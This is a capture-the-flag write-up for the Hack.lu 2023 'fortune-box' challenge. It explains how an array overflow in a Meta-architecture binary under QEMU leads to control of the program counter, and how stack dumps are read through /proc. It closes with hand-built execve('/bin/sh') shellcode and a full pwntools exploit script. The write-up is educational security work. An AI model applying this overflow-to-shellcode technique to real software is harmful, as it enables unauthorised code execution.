• Event: Hack.lu CTF 2023
  • Category: pwn
  • Solves: 7; first blood
  • Points: 363

Preliminary

Wanna test your fortune? Try this small program to predict your future. I grabbed it from our old archive server so it might be a bit dated.
Don't be discouraged from a bad prediction. Future telling is just hocus pocus, or is it?

Connect via nc flu.xxx 10150

Files can be downloaded from here.

We see that one of provided files is named qemu-system-meta which means that the task is to pwn something on Meta architecture.

This is an architecture developed by Imagination Technologies, it was added to linux kernel 3.9 as “metag” in 2013 and removed in 2018 (kernel remove patch)

There is also file fortune-box

$ file fortune-box 
fortune-box: ELF 32-bit LSB executable, META, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped

It means that we need to pwn this user-mode binary.

Redme.md provides instructions on how to obtain crash logs:

Build the debug container with `docker build -t fortune-box-debug .`.
Start the container with `docker run --rm -ti -p 1337:1337 -v "$PWD":/chall fortune-box-debug`
The process will then listen on port 1337 and spawn the challenge once a connection is started.

A log file `kmsg.log` is create which contains the kernel log output for each run.
It contains information about crashed processes.

The terminal with the docker command will print a pty number, e.g., `/dev/pts/12` where a root shell is spawned.
Exec into the container and connect to the shell with a serial console, e.g., `pyserial-miniterm --raw --eol CR /dev/pts/12`.
The challenge is halted if the fortune-box process crashes, this can be suppressed by creating the file `/debug`, e.g., run `touch /debug` in the vm.

The flag resides in `/flag`.
The message `Unable to load ROM!` is normal and can be ignored.

Now find out what the future brings to you.

To summarize, we have a Docker container running qemu-system-meta, which emulates a provided Linux kernel for the Meta architecture. This kernel, in turn, runs the fortune-box user-mode binary.

Vulnerability

Hello, give me your name: Name

Oh Dear, Name. I see your sign is The Water-bearer. This is not good. Your future is uncertain.
Tell me your fortunes, only then I can predict your future
You can:
1. Tell me a fortune
2. See a fortune
3. Dismiss a fortune
4. Reveal the future

What do you want to do?
> 1
What is it you want to tell me?
Hello World

At the beginning, our binary reads a name from us and then enters its loop.

We can add a new fortune, view the last added fortune, remove the last added fortune, and display a random fortune.

It’s worth noting that we can crash the binary when attempting to display a random fortune if we haven’t added any fortunes yet. This is because fortune_i is equal to 0, leading to a division by 0 error:

struct Fortune *fortune = &fortunes[rand() % fortune_i];

Since fortunes are declared inside main function, they are kept on the stack:

struct Fortune fortunes[13];

Fortune structure:

struct Fortune {
    char *content;
    size_t len;
};

You may notice that you can create more fortunes than 13, which will lead to buffer overflow vulnerability:

case '1':
    add_fortune(&fortunes[fortune_i++]);
    break;



void add_fortune(struct Fortune *fortune) {
    fortune->len = 0x100;
    fortune->content = malloc(0x100);
    puts("What is it you want to tell me?\n");
    read(0, fortune->content, fortune->len);
    fortune->content[0x100-1] = 0;
    fortune->len = strlen(fortune->content);
}   

The add_fortune function simply uses malloc to allocate memory, reads input, and sets the content and length.

There is another buffer overflow vulnerability at the beginning of the program when reading a name.

name_len = getline(name);

Debugging

To obtain a crash log, you can read kmsg.log file inside the Docker container. Below is an example of how it looks like in case of divide-by-0 error:

<6>[   87.479336] task: 4fd11a40 ti: 4fd3c000 task.ti: 4fd3c000
<6>[   87.479358]  pt_regs @ 4fd3c018
<6>[   87.479377]  SaveMask = 0xc041
<6>[   87.479451]  Flags = 0x0008 (Znoc)
<6>[   87.479470]  TXRPT = 0x00000000
<6>[   87.479503]  PC = 0x100056e8
<6>[   87.479528]  A0StP = 0x3b000208     A1GbP = 0x00000000
<6>[   87.479569]  A0FrP = 0x3b0000c0     A1LbP = 0x080bd7ac
<6>[   87.479598]  A0.2  = 0x080bb4fc     A1.2  = 0x00000000
<6>[   87.479623]  A0.3  = 0x10005578     A1.3  = 0x00000000
<6>[   87.479653]  D0Re0 = 0x287f9d16     D1Re0 = 0x00000000
<6>[   87.479687]  D0Ar6 = 0x00000000     D1Ar5 = 0x0000001d
<6>[   87.479703]  D0Ar4 = 0x00000000     D1Ar3 = 0x0000001e
<6>[   87.479719]  D0Ar2 = 0x7efcea4c     D1Ar1 = 0x00000001
<6>[   87.479734]  D0FrT = 0x00000003     D1RtP = 0x100056d4
<6>[   87.479749]  D0.5  = 0x00000000     D1.5  = 0x3b00019c
<6>[   87.479766]  D0.6  = 0x10005ac4     D1.6  = 0x100059b0
<6>[   87.479782]  D0.7  = 0x10005a44     D1.7  = 0x10005aa0

I couldn’t find any debugger supporting Meta architecture, but since we also have access to a shell inside the emulated Meta OS, we can read from /proc/$pid/maps and /proc/$pid/mem. These methods are the best debugging approaches I could come up with. After the CTF, it turned out that there was no better way.

Stack layout and controlling PC

Firstly, I noticed that all addresses are always the same:

# cat /proc/91/maps
08000000-08007000 r-xp 00000000 00:02 184        /lib/ld-uClibc-1.0.44.so
08007000-08009000 rw-p 00000000 00:00 0 
0800b000-0800c000 r--p 00007000 00:02 184        /lib/ld-uClibc-1.0.44.so
0800c000-0800d000 rw-p 00008000 00:02 184        /lib/ld-uClibc-1.0.44.so
0800d000-080b2000 r-xp 00000000 00:02 191        /lib/libuClibc-1.0.44.so
080b2000-080b7000 ---p 00000000 00:00 0 
080b7000-080b9000 r--p 000a6000 00:02 191        /lib/libuClibc-1.0.44.so
080b9000-080bc000 rw-p 000a8000 00:02 191        /lib/libuClibc-1.0.44.so
080bc000-080bf000 rw-p 00000000 00:00 0 
10004000-10006000 r-xp 00000000 00:02 317        /usr/bin/fortune-box
1000b000-1000c000 r--p 00003000 00:02 317        /usr/bin/fortune-box
1000c000-1000e000 rw-p 00004000 00:02 317        /usr/bin/fortune-box
1000e000-1000f000 rwxp 00000000 00:00 0          [heap]
3afff000-3b021000 rwxp 00000000 00:00 0          [stack]

Later, I attempted to overflow a name with a large number of bytes in order to trigger a crash, but the binary never crashed.

This is an output after sending "a"*500:

Hello, give me your name: $ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Oh Dear, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
\x00\x00U\x00\x89\x03;\xf5\xc0\x00\xac\xd7
                                         L\x1 \x92\x0b\x00\x00\x00\x00
\x00\x00X\x06 \x92\x0baaaaH\x92\x0b\x10\xa7\x06\x00\x00\x00
\x00\x00X\x06\xc0\x00\xac\xd7
                            \xc0\x00 g\x00 \x92\x0baaaa\x94\x00\x00\x00`\x00\xac\xd7
                                                                                   `\x00\x88`\x00\x00\x00`\xe7
 \xd\x00\x00\x00\x00\x00\x00Ֆn\x0b \xd\x90q\x00\x00\x00\x00\x00\x00\x00\x00\xf7\xa<\x92\x0b\x00\x00\x92\x0b\x93\xdcE\x06\xf7\xa\x90q\x00\x00\x00\x00\x00\x00\x00\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. I see your sign is The Lion. This is not good. Your future is uncertain.

What we get is "a"*116, followed by 232 strange bytes, and then "a"*116, totalling 500 bytes.

That’s interesting because it means that a lot of stack data is written to between overflowing and printing name. I realized that in our binary, main never exits, so overwritting the main return address is pointless. However, between writing and printing the name, other functions are called, so there could be a newer stack frames. Additionally, there could be other main variables.

Notice that the second BO vulnarability (overflow of fortunes table) is triggered inside the add_fortune function, which returns back to main, so maybe we could overflow return address of that function?

I decided to dump the stack several times at different stages and used diff to recognize where exactly different variables are located.

We are interested in dumping this region:

1000e000-1000f000 rwxp 00000000 00:00 0          [heap]

I used this command to dump the entire stack:

dd if=/proc/91/mem bs=1 skip=$((0x3afff000)) count=$((0x22000)) of=dump

Here is a snippet of the stack dump after providing 5 fortunes and writing "a"*8 as a name:

00001190: 310a0000 61616161 61616161 08e00010  1...aaaaaaaa.... <- name and fortunes start
000011a0: 05000000 10e10010 05000000 18e20010  ................
000011b0: 05000000 20e30010 05000000 28e40010  .... .......(...
000011c0: 05000000 88600008 00d00008 08e50a00  .....`..........
000011d0: ea9d0108 00000000 00000000 00000000  ................
000011e0: 10b79c06 8c2f0108 ea9d0108 90710008  ...../.......q..
000011f0: 01000000 00000000 c001003b 001f0008  ...........;....
00001200: 01000000 00000000 00000000 7c560010  ............|V..
00001210: 05000000 9c01003b 00010000 40550010  .......;....@U.. <- fortune_i
00001220: bc01003b 9c01003b c45a0010 b0590010  ...;...;.Z...Y..
00001230: 445a0010 a05a0010 c000003b acd70b08  DZ...Z.....;....
00001240: 4c180908 f0910b08 00000000 00000000  L...............
00001250: 18010000 00f0ffff 00000000 14e90b08  ................
00001260: ff0f0000 acd70b08 d90a0000 e8490608  .............I..
00001270: 28e40010 9c01003b c45a0010 b0590010  (......;.Z...Y..
00001280: c000003b acd70b08 c000003b acd70b08  ...;.......;....
00001290: 34520010 48700008 01000000 00000000  4R..Hp..........
000012a0: 6802003b 001f0008 20dd0108 90710008  h..;.... ....q..
000012b0: 01000000 00000000 8002003b 001f0008  ...........;....
000012c0: f7a20108 3c920b08 02000000 3c920b08  ....<.......<...
000012d0: 93dc4506 8c2f0108 f7a20108 90710008  ..E../.......q..
000012e0: 01000000 00000000 b002003b 001f0008  ...........;....
000012f0: 00000000 00000000 00000000 00000000  ................
00001300: 00000000 00000000 1f000000 e7ffff3a  ...............:
00001310: 00000000 00000000 00000000 00000000  ................
00001320: 00000000 00000000 00000000 00000000  ................

fortune_i is at offset 0x1210: 05000000. We can observe that little-endian is used for numbers (xxd displays them in big-endian)

fortunes table starts at offset 0x119c, right after name. It’s a chain of (heap pointer, len)*5 in our case. I realized that len of 15th fortune will overwrite fortune_i.

Right before fortune_i is placed a pointer to 0x1000567c, which belongs to the executable memory region. 15th fortune will write its pointer to heap buffer here.

This pointer could potentially be a return address or some other pointer that the program could jump to. Although there are many similar pointers in the dump, we can begin by overwriting this one and observe the outcome.

def tell_fortune(l):
	r.send(b"1\x00")
	r.recvuntil(b"tell me?\n")
	r.send(b"H"*l+b"\x00")
	r.recvuntil(b"> ")

def tell_fortune_last():
	r.send(b"1\x00")
	r.recvuntil(b"tell me?\n")
	r.send("b"*50)
	r.interactive()

r.recvuntil(b"name: ")
r.sendline(b"a"*8)
r.recvuntil(b"> ")

for i in range(14):
	tell_fortune(0x22)

tell_fortune_last()

sending "a"*50 causes the binary to hang, possibly due to getting stuck isnide infinite loop. However, "b"*50 crashes the binary, and here is a log:

<6>[    2.739663] pid 91 unhandled fault: pc 0x1000eea8, addr 0x1000eea8, trap 1 (Illegal instruction fault)
<4>[    2.740168] 
<6>[    2.740707] CPU: 0 PID: 91 Comm: fortune-box Not tainted 4.4.302-1 #50
<6>[    2.741006] task: 4fd11a40 ti: 4fd3c000 task.ti: 4fd3c000
<6>[    2.741066]  pt_regs @ 4fd3c018
<6>[    2.741125]  SaveMask = 0x8001
<6>[    2.741402]  Flags = 0x0008 (Znoc)
<6>[    2.741464]  TXRPT = 0x00000000
<6>[    2.741523]  PC = 0x1000eea8
<6>[    2.741590]  A0StP = 0x3b000208     A1GbP = 0x00000000
<6>[    2.741711]  A0FrP = 0x3b0000c0     A1LbP = 0x080bd7ac
<6>[    2.741796]  A0.2  = 0x1000d410     A1.2  = 0x00000000
<6>[    2.741872]  A0.3  = 0x080be914     A1.3  = 0x00000000
<6>[    2.741956]  D0Re0 = 0x00000032     D1Re0 = 0x0000003f
<6>[    2.742060]  D0Ar6 = 0x1000eeab     D1Ar5 = 0x80808080
<6>[    2.742112]  D0Ar4 = 0x1000eeac     D1Ar3 = 0x1000eea9
<6>[    2.742158]  D0Ar2 = 0x1000eeaa     D1Ar1 = 0x1000ee78
<6>[    2.742200]  D0FrT = 0x00000000     D1RtP = 0x1000ee78
<6>[    2.742243]  D0.5  = 0x00000032     D1.5  = 0x3b00019c
<6>[    2.742288]  D0.6  = 0x10005ac4     D1.6  = 0x100059b0
<6>[    2.742332]  D0.7  = 0x10005a44     D1.7  = 0x10005aa0

PC clearly points to the heap region, indicating that our payload is executed! Let’s compute the address of the beginning of our payload, it would be useful during shellcoding. The malloced area for each fortune buffer is always 0x100. By inspecting the stack dump and comparing the next addresses, we can compute that the buffer of the 15th fortune is located at address 0x1000ee78.

Shellcode

The last step is to create a shellcode. I couldn’t find any documentation about assembly for Meta, but in the provided source code, there is some infomation about the syscall ABI:

size_t write(int fd, void *buf, size_t count) {
	register long __call __asm__ ("D1Re0") = 64;
	register long __res __asm__ ("D0Re0");
	register long __a __asm__ ("D1Ar1") = fd;
	register long __b __asm__ ("D0Ar2") = buf;
	register long __c __asm__ ("D1Ar3") = count;


	__asm__ __volatile__ ("SWITCH  #0x440001"
			      : "=d" (__res)
			      : "d" (__call), "d" (__a), "d" (__b), "d" (__c)
			      : "memory");
	return (size_t) __res;
}

ABI is also described here: KERNEL ABIS FOR METAG ARCH

So if syscall is triggered, then: D1Re0 keeps the syscall number. Arguments go to D1Ar1, D0Ar2, D1Ar3 respectively, and the syscall instruction is SWITCH #0x440001.

My friend Cypis found the tools metag-linux-gnu-as and metag-linux-gnu-objdump, which are available on fedora. So:

docker run --rm -it --platform linux/amd64 -v $(pwd):/code fedora
dnf install binutils-metag-linux-gnu

I found some examples of Meta assembly programs here, and they served as our source of information about assembly for this architecture.

We produced following shellcode:

.global __start
.section .text
__start:

MOV     D1Re0,#221

MOV     D1Ar1,#0xffff
MULD    D1Ar1,D1Ar1,#0x1000
ADD     D1Ar1,D1Ar1,#0xfea0

MOV     D0Ar2,#0

MOV     D1Ar3,#0

SWITCH  #0x440001

D1Ar1 is set to 0x1000eea0, which is the address where we want to place the /bin/sh string. Meta instructions are 4 bytes each, so it’s not possible to set a 4-byte value into a register in a single instruction. Therefore, we split it into three instructions, which are: setting D1Ar1 to 0xffff, multiplying it by 0x1000, and then adding 0xfea0.

The syscall number for execve can be obtained from the: Linux kernel system calls for all architectures. The rest of the shellcode is straightforward.

These commands compile assembly program and display the raw bytes of the code:

metag-linux-gnu-as shellcode.asm -o shellcode.o
metag-linux-gnu-objdump -d shellcode.o

And it worked! We got a flag. Below is a full exploit code:

from pwn import *
#context.log_level="DEBUG"

r = remote("localhost",1337)
#r = remote("flu.xxx",10150)

shellcode = b""
shellcode += p32(0x030006ec)
shellcode += p32(0x031ffffc)
shellcode += p32(0x63188004)
shellcode += p32(0x031ff500)
shellcode += p32(0x02180004)
shellcode += p32(0x03100004)
shellcode += p32(0xaf440001)

def tell_fortune(l):
	r.send(b"1\x00")
	r.recvuntil(b"tell me?\n")
	r.send(b"H"*l+b"\x00")
	r.recvuntil(b"> ")

def tell_fortune_last():
	r.send(b"1\x00")
	r.recvuntil(b"tell me?\n")
	r.send(shellcode+b"\x33"*12+b"/bin/sh\x00")
	r.interactive()

r.recvuntil(b"name: ")
r.sendline(b"a"*8)
r.recvuntil(b"> ")

for i in range(14):
	tell_fortune(0x22)

tell_fortune_last()

Credits

Cypis, thanks for finding a tool and helping with shellcode